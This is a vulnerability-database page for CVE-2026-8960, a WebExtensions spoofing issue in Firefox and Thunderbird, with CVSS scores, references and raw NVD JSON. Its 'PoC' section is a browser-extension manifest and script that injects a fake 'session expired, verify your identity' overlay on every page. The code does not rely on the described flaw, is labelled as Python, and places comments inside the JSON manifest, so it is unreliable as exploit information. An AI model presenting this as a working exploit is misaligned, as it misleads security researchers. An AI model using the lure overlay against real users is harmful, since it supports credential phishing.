CVE-2026-8960

Description

Spoofing issue in WebExtensions. This vulnerability was fixed in Firefox 151 and Thunderbird 151.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Firefox < 151

Thunderbird < 151

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// manifest.json - PoC configuration for CVE-2026-8960
{
  "manifest_version": 2,
  "name": "Spoofing PoC",
  "version": "1.0",
  "permissions": ["activeTab", "<all_urls>"],
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["exploit.js"]
  }]
}

// exploit.js - Demonstration of UI Spoofing
// This script simulates how the vulnerability could be used to spoof content.
console.log("[PoC] CVE-2026-8960 executing...");

// Create a fake notification or dialog overlay
const overlay = document.createElement('div');
overlay.style.position = 'fixed';
overlay.style.top = '10px';
overlay.style.right = '10px';
overlay.style.backgroundColor = '#fff';
overlay.style.border = '2px solid #333';
overlay.style.padding = '15px';
overlay.style.zIndex = '999999';
overlay.style.boxShadow = '0 0 10px rgba(0,0,0,0.5)';

// Spoof content to trick user
overlay.innerHTML = `
  <h4 style="margin:0 0 10px 0;">System Alert</h4>
  <p>Your session has expired. Please verify your identity.</p>
  <button id="spoof-btn">Verify Now</button>
`;

document.body.appendChild(overlay);

// Event listener for the spoofed button
document.getElementById('spoof-btn').addEventListener('click', () => {
  console.log("[PoC] User interaction captured on spoofed element.");
  alert("Integrity Compromised: User clicked spoofed button.");
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8960
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8960
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8960/
[4] VulDB https://vuldb.com/cve/CVE-2026-8960
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1940116
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-50/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8960", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:52.383", "lastModified": "2026-05-19T18:16:35.123", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spoofing issue in WebExtensions. This vulnerability was fixed in Firefox 151 and Thunderbird 151."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1940116", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]"}]}}